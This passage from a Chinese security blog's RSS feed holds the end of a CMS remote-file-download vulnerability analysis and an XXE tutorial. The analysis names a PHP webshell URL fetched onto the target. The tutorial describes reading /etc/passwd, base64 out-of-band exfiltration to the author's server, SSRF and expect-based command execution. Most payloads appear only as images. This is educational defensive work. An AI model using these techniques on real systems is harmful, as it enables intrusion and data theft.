src="https://wechat2rss.xlab.app/img-proxy/?k=e21e0951&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxkaQVCHWFbM9WMooUvSolYbUbsOwPvE2AhoWYibVWTZqmrzqeW6cOx6Rw%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">把<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">$value</code>，也就是我们的<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">info[content]</code>带入到了<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">$this-&gt;attachment-&gt;download</code>函数！继续跟！！</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">整段函数如下：</p><p><img data-s="300,640" data-type="png" data-w="2232" style="" data-ratio="0.5268817204301075" src="https://wechat2rss.xlab.app/img-proxy/?k=387a6871&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxk9jMmpLC5GYbcHoqwnm1EXJLFEoo5qDvLdta1ZsWXCVx3ZvSMiaOQh6g%2F0%3Fwx_fmt%3Dpng"/></p><p><img data-s="300,640" data-type="png" data-w="2242" style="" data-ratio="0.45851917930419267" src="https://wechat2rss.xlab.app/img-proxy/?k=1203842f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxksF3t8v2XPrvZ2nlcmK06WL29tCejJ5piclicB0M1zuan2gtZia4ksYibIg%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><br/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">先是设置了一些参数，然后把我们的payload带入了一个<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">new_stripslashes</code>函数：</p><p><img data-s="300,640" data-type="png" data-w="1558" data-ratio="0.2605905006418485" src="https://wechat2rss.xlab.app/img-proxy/?k=06162ea9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxk3o1QSwlcVY027UjuXkhA2IwoZy45zNXGt6aHCbMqGOWicn9zaLB5E7A%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">进行了一个<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">stripslashes</code>操作。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">这行也是关键的一步：</p><p><img data-s="300,640" data-type="png" data-w="1938" data-ratio="0.0412796697626419" src="https://wechat2rss.xlab.app/img-proxy/?k=90750067&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxkPOcGB8Nc9ic6GIabccE0ibibYtjHla0elxHMY4Xyuf6N5KicIvbIVKyrXA%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">这里匹配了<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">src</code>或<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">href</code>中文件的文件名，不过后缀为<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">$ext</code>，其中<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">$ext</code>的值为：<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">gif|jpg|jpeg|bmp|png</code></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">不过匹配的并不严格，还是有办法可以绕过的，如图：</p><p><img data-s="300,640" data-type="jpeg" data-w="630" data-ratio="0.2650793650793651" src="https://wechat2rss.xlab.app/img-proxy/?k=95ca6098&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxkzCiclUFLoaCl0RDpLfpF6yq8Howz8Oyh8CgAc2nHzdsr7asYu7m2ksg%2F0%3Fwx_fmt%3Djpeg"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">这一步被绕过，下面应该就是下载文件了吧。。。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">随后在这一行带入了函数<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">fillurl</code>：</p><p><img data-s="300,640" data-type="png" data-w="1444" data-ratio="0.05678670360110803" src="https://wechat2rss.xlab.app/img-proxy/?k=71dd26b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxktUnTXQ96jTn4uRTI9iazxTMTEBuzUhxYoWDkOKxcHFbtIqibHRC0Llpg%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">在<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">fillurl</code>中还很贴心的给我们去掉了<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">#</code>后的内容：</p><p><img data-s="300,640" data-type="png" data-w="1050" data-ratio="0.11047619047619048" src="https://wechat2rss.xlab.app/img-proxy/?k=810514a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxkDrSFGCWB3lucOexLdiaLJXk7eLIEDaKAzZVOuVYq1qcSR1Tovdibvc9g%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">这个时候<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">$remotefileurls</code>的值已然是<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; "><a href="http://files.hackersb.cn/webshell/antSword-shells/php_assert.php" target="_blank">http://files.hackersb.cn/webshell/antSword-shells/php_assert.php</a></code></p><p><code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; "></code></p><p><img data-s="300,640" data-type="png" data-w="2466" data-ratio="0.24087591240875914" src="https://wechat2rss.xlab.app/img-proxy/?k=f5c4dc24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxkuibOBeCvibgEIMSWvVHicFThgISqfwjKjUerM2TroRibH0dkIOMmpoh7fA%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">其中<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">$upload_func</code>等同于php的<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">copy</code>函数。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">然而：</p><p><img data-s="300,640" data-type="jpeg" data-w="782" data-ratio="0.23785166240409208" src="https://wechat2rss.xlab.app/img-proxy/?k=9d6c60ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywjSBofXP1NpptH6tITBlxkxXGcvOlZtrHT7jOvQufibaVoAPGX8ricGJ8xZmhOaUG4vWthJUr9FbBA%2F0%3Fwx_fmt%3Djpeg"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">而<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">fopen</code>一般都是可用的，如果开启了<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">allow_url_fopen</code>，这个漏洞就构成了，然而大部分环境都默认开启了<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">allow_url_fopen</code>。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">最终在插入注册信息时因为混入了未知的参数而导致插入失败，报错就显示出了这个未知的参数 23333</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">至此，该漏洞分析完成。</p><h2 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.225; font-size: 1.75em;  font-weight: bold; padding-bottom: 0.3em; border-bottom: 1px solid rgb(238, 238, 238); color: rgb(51, 51, 51) ; ; ; ; ; ; ; ">漏洞修复</h2><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">官方目前仍未发布修复补丁。</p><p style=" box-sizing: border-box; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">临时修复方案可以考虑禁用<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">uploadfile</code>目录下的PHP执行权限。</p></section></section></section><section label="Copyright Reserved by PLAYHUDONG." class="wihudong" donone="shifuMouseDownCard(&#39;shifu_c_034&#39;)" style="margin-top: 1em; margin-bottom: 1em; padding: 16px; font-size: 16px; white-space: normal; line-height: 25px; border-width: 1px; border-style: solid; border-color: rgb(204, 204, 204); color: rgb(127, 127, 127); background-color: rgb(254, 255, 225); border-radius: 4px; box-shadow: rgb(153, 153, 153) 0px 2px 8px;"><p class="wihudong">注：本文原创，转载请通过本公众号联系作者。</p></section><p><br/></p><p style="white-space: normal;">                                                            </p><p><br/></p><section label="Copyright © 2016 playhudong All Rights Reserved." donone="shifuMouseDownPayStyle(&#39;shifu_sig_022&#39;)" style="margin-right: auto; margin-left: auto; white-space: normal; border-width: initial; border-style: none; border-color: initial; width: 20em;"><section class="xhr" style="padding: 0.8em 0em; width: 320px; background: rgb(240, 240, 240); overflow: hidden;"><section style="margin-right: auto; margin-left: auto; width: 256px;"><section style="padding-bottom: 0.5em; width: 256px; text-align: center; border-bottom: 1px solid rgb(221, 221, 221); font-size: 1.2em;"><p>安全&amp;前端</p></section><section style="padding-top: 0.5em; width: 256px; text-align: center;"><section style="margin-right: 1em; width: 102.391px; display: inline-block; vertical-align: top;"><img style="width: 102.391px;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170114-1484360660123013420.jpg" data-type="jpeg" data-ratio="1" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=1ff8e300&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywYFn3ghvGRhheiaUZHtvhjdt4npURMpgHusiaNaKz0ckNRKYb0zBxtlZ2OHQzVQ5vtrH4vycz2dn6w%2F0%3Fwx_fmt%3Djpeg"/></section><section style="padding: 1em 0em 3em; width: 102.391px; display: inline-block; vertical-align: top; background-image: url(&#34;http://mmbiz.qpic.cn/mmbiz_png/zoq1kN9BaywYFn3ghvGRhheiaUZHtvhjda881dIetibclJpFgiaW75eibKGgW8bcIZPeIruFia1HdGSRP0RE1D0Bu6Q/0?wx_fmt=png&#34;); background-repeat: no-repeat; background-size: 100%; color: rgb(114, 114, 114); font-size: 1em; line-height: 1.4em;"><p>长按二维码<br/>关注我们</p></section></section></section></section></section><p><br/></p><p><br/></p>



<p><a href="2247483822">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=10809611&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDA4NzAyMQ%3D%3D%26mid%3D2247483822%26idx%3D1%26sn%3D9dfc1706c4dbee9374a2da4848f2121f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 13 Apr 2017 09:10:00 +0800</pubDate>
    </item>
    <item>
      <title>XML实体注入漏洞攻与防</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDA4NzAyMQ==&amp;mid=2247483795&amp;idx=1&amp;sn=e9e9eaac0985fe65511edf6da57eb0ff</link>
      <description>老司机带你学 XML实体注入的几种姿势~</description>
      <content:encoded><![CDATA[<p>
<span>王松_Striker</span> <span>2017-04-09 19:13</span> <span style="display: inline-block;"></span>
</p>

<p>老司机带你学 XML实体注入的几种姿势~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3617b386&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxjWPTucZbS20UAvDj9aXyRV5UdZP1NfZ2D4e448sI74n2tHjBZ7nGN57Oz4cH648uOaiaNWa6YsYg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section label="Copyright © 2014 playhudong All Rights Reserved." donone="shifuMouseDownOther(&#39;shifu_o_015&#39;)" style="margin-top: 5px; padding: 10px; white-space: normal; border-width: initial; border-style: none; border-color: initial; background-image: none; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;"><section style="margin-top: -1px; min-height: 40px; visibility: visible; height: 40px; line-height: 40px; border-radius: 4px; text-align: center; box-shadow: rgb(190, 190, 190) 0px 3px 5px; background: rgb(238, 239, 239);"><span style="font-size: 14px; color: rgb(110, 109, 109);"><span style="margin-left: 35px; float: left; font-size: 24px;">↗</span>点击上方<span style="color: rgb(96, 127, 166);">“Web安全与前端”</span>关注我们</span></section><p><br/></p></section><h2 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.225; font-size: 1.75em;  font-weight: bold; padding-bottom: 0.3em; border-bottom: 1px solid rgb(238, 238, 238); color: rgb(51, 51, 51) ; ; ; ; ; ; ; ">目录</h2><ol style=" box-sizing: border-box; padding-left: 2em; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; " class=" list-paddingleft-2"><li><p>XML基础</p></li><li><p>XML实体注入漏洞的几种姿势</p></li><li><p>防御XML实体注入漏洞</p></li></ol><h2 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.225; font-size: 1.75em;  font-weight: bold; padding-bottom: 0.3em; border-bottom: 1px solid rgb(238, 238, 238); color: rgb(51, 51, 51) ; ; ; ; ; ; ; ">XML基础</h2><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">XML是一种用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">XML技术基础我在这里将不在详细解读，有兴趣的小伙伴可以通过如下几个链接去学习XML基础：</p><ul style=" box-sizing: border-box; padding-left: 2em; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; " class=" list-paddingleft-2"><li><p><a href="https://www.xml.com/axml/axml.html" target="_blank">https://www.xml.com/axml/axml.html</a></p></li><li><p><a href="http://www.w3school.com.cn/xml/index.asp" target="_blank">http://www.w3school.com.cn/xml/index.asp</a></p></li><li><p><a href="https://www.ibm.com/developerworks/cn/xml/x-newxml/" target="_blank">https://www.ibm.com/developerworks/cn/xml/x-newxml/</a></p></li></ul><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">当然还是建议读者详细阅读以上任意一个文档并实践之后再继续往下看，以免造成知识跨度太大，看不懂或一知半解的情况。</p><h2 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.225; font-size: 1.75em;  font-weight: bold; padding-bottom: 0.3em; border-bottom: 1px solid rgb(238, 238, 238); color: rgb(51, 51, 51) ; ; ; ; ; ; ; ">XML实体注入基础</h2><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">当允许引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">简单了解XML以后，我们知道要在XML中使用特殊字符，需要使用实体字符，也可以将一些可能多次会用到的短语(比如公司名称)设置为实体，然后就可以在内容中使用。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">如下就声明了一个名为<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">coname</code>值为<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">QiHoo 360</code>的实体。</p><p><img data-s="300,640" data-type="png" data-w="1496" data-ratio="0.06417112299465241" src="https://wechat2rss.xlab.app/img-proxy/?k=3522dab1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxjWPTucZbS20UAvDj9aXyRjo9ALx4vnluuulyjRhyLu16NWcfmic53Jmc3c2XVmib3sGWAaHRbicaNg%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">要在XML中使用实体，使用<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">&amp;coname;</code>即可。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">为了演示漏洞，我们写一个简单的PHP脚本，如下：</p><p><img data-s="300,640" data-type="png" data-w="1474" data-ratio="0.5603799185888738" src="https://wechat2rss.xlab.app/img-proxy/?k=f8c53462&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxjWPTucZbS20UAvDj9aXyRXp8DaxhialfXfibAANTWUjtzhyS7j44SDY8hCoKCqvaqx2AbicbibrcuvA%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">假设这里我们希望用户输入的是：</p><p><img data-s="300,640" data-type="png" data-w="1496" data-ratio="0.20855614973262032" src="https://wechat2rss.xlab.app/img-proxy/?k=ab9d916b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxjWPTucZbS20UAvDj9aXyR1iaIof9VN6lPrBOrJqPiaRXdvZBEIeAxn5Whn4EVBLGICFNMv3Oia4Pqw%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">然后就可以返回如下页面：</p><p><img data-s="300,640" data-type="jpeg" data-w="431" data-ratio="0.6612529002320185" src="https://wechat2rss.xlab.app/img-proxy/?k=6416250f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxjWPTucZbS20UAvDj9aXyRzlsCo2bSXQDjgQf2vX2S8XvPqnZop9vU8ZMZ9RWNEiaUuetNiaibI2kPA%2F0%3Fwx_fmt%3Djpeg"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">￼<br/></p><h3 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.43; font-size: 1.5em;  font-weight: bold; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ">XML实体注入漏洞的几种姿势</h3><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">方法1：</p><p><img data-s="300,640" data-type="png" data-w="1500" data-ratio="0.06" src="https://wechat2rss.xlab.app/img-proxy/?k=f9a9de73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxjWPTucZbS20UAvDj9aXyRf1prh4qX3cvorLXjESbDBf98Sq355DsWxTKfJJCUSeNcUricicOrHSTA%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">方法2：</p><p><img data-s="300,640" data-type="png" data-w="1498" data-ratio="0.06008010680907877" src="https://wechat2rss.xlab.app/img-proxy/?k=905e2383&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxjWPTucZbS20UAvDj9aXyRAJABI5vSyOYNjcUjicKuNyl5ZH3pH2f3PHW0Cqvlc4TxEPDItLh2tnA%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">其中<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">attack.dtd</code>的内容为：<br/></p><p><img data-s="300,640" data-type="png" data-w="1482" data-ratio="0.059379217273954114" src="https://wechat2rss.xlab.app/img-proxy/?k=26c58f6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxjWPTucZbS20UAvDj9aXyRllyFwGQmPTfRcLciawOVyJkgBE4aRWspomozQ4KlL4JVwxTCuZT7vcQ%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">方法3：</p><p><img data-s="300,640" data-type="png" data-w="1494" data-ratio="0.050870147255689425" src="https://wechat2rss.xlab.app/img-proxy/?k=16a6b4a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxjWPTucZbS20UAvDj9aXyRW165rS5oolNRnL178scDME6KV3PpwOxzR2ia0XStJVDzFvniakn5nrtQ%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><br/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">其中<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">attack.dtd</code>内容同上不变。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">利用xml实体注入我们可以读取本地任意文件。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">读取任意文件的思路大概就是引入一个实体，实体内容为本地文件。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">使用我们如上说的任意一种方法即可实现，我这里使用第一个（因为最方便）。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">构造payload如下：</p><p><img data-s="300,640" data-type="png" data-w="1488" data-ratio="0.22311827956989247" src="https://wechat2rss.xlab.app/img-proxy/?k=74cf6b86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxjWPTucZbS20UAvDj9aXyR8MAhgbWnOazLS2LFpuGeTJDaMuibjpQY4wtADnJgLI12T8w2oTFdKzw%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.32578125" src="https://wechat2rss.xlab.app/img-proxy/?k=4f04ac0e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxjWPTucZbS20UAvDj9aXyR8jrDTMNZp1jzDRvY7WMvxUnRmtoBujCdXAphTR7RxM3w2icwBEm3PTA%2F0%3Fwx_fmt%3Djpeg"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">可以看到成功读取了<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">/etc/passwd</code>文件。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">如果我们实战中所在的场景下XML并没有回显，我们也可以使用另外一种方法读取文件。</p><p><img data-s="300,640" data-type="png" data-w="1486" data-ratio="0.17092866756393002" src="https://wechat2rss.xlab.app/img-proxy/?k=af71fc86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxjWPTucZbS20UAvDj9aXyRhG2vxuaNHwCT8jhnPpyR7W4H66RoCNwzJJ5GbUd81rO5LX6RYuIBmg%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">其中<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">attack.dtd</code>的内容为：</p><p><img data-s="300,640" data-type="png" data-w="1456" data-ratio="0.1043956043956044" src="https://wechat2rss.xlab.app/img-proxy/?k=0688a555&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxjWPTucZbS20UAvDj9aXyRuJUoBuZ5013a3EryFhdqgK2SicYDZ4sO6Gn27oziaoyjrZ0zQokwG4IA%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">发送payload以后就可以在<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; "><a href="http://www.hackersb.cn/" target="_blank">http://www.hackersb.cn/</a></code>的访问日志中看到请求且带上了<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">/etc/passwd</code>文件base64加密以后的内容：</p><p><img data-s="300,640" data-type="jpeg" data-w="1132" data-ratio="0.450530035335689" src="https://wechat2rss.xlab.app/img-proxy/?k=a4f3c535&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxjWPTucZbS20UAvDj9aXyRUicziaHMD4FHobakKjwiaZlV24WNiapHHbVr2cxJqkneZPhmoAfmKZogpg%2F0%3Fwx_fmt%3Djpeg"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">我们既然可以使用<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">file</code>协议读取本地文件，当然也可以使用<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">http</code>协议访问来造成SSRF攻击，甚至可以使用<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">gopher</code>协议。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">具体能使用的协议主要取决于PHP，PHP默认支持file、http、ftp、php、compress、data、glob、phar、gopher协议。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">如果PHP支持<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">except</code>协议，我们还可以利用<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">except</code>协议来执行系统命令。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">简单的SSRF攻击实例如下：</p><p><img data-s="300,640" data-type="png" data-w="1480" data-ratio="0.23378378378378378" src="https://wechat2rss.xlab.app/img-proxy/?k=768d6ece&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxjWPTucZbS20UAvDj9aXyRatrUibkj2IiaoxqKntwwbibCicBJibMGTFqznZeGh8GyzTB8Wibpgqa5Irow%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">然后就可以监听到访问了。</p><p><img data-s="300,640" data-type="jpeg" data-w="812" data-ratio="0.4187192118226601" src="https://wechat2rss.xlab.app/img-proxy/?k=0944c4f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxjWPTucZbS20UAvDj9aXyRPib1kCia8zFGLpnMBlBOdXuM3C5cmdia6aWIZgXKVykyugbdhnwIPlNCQ%2F0%3Fwx_fmt%3Djpeg"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">SSRF攻击可以成功的话，我们自然可以进而攻击企业内网的系统。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">其他更多的危害各位可以参考OWASP出的文档：</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><a href="https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf" target="_blank">https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf</a></p><h2 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.225; font-size: 1.75em;  font-weight: bold; padding-bottom: 0.3em; border-bottom: 1px solid rgb(238, 238, 238); color: rgb(51, 51, 51) ; ; ; ; ; ; ; ">防御XML实体注入漏洞</h2><ul style=" 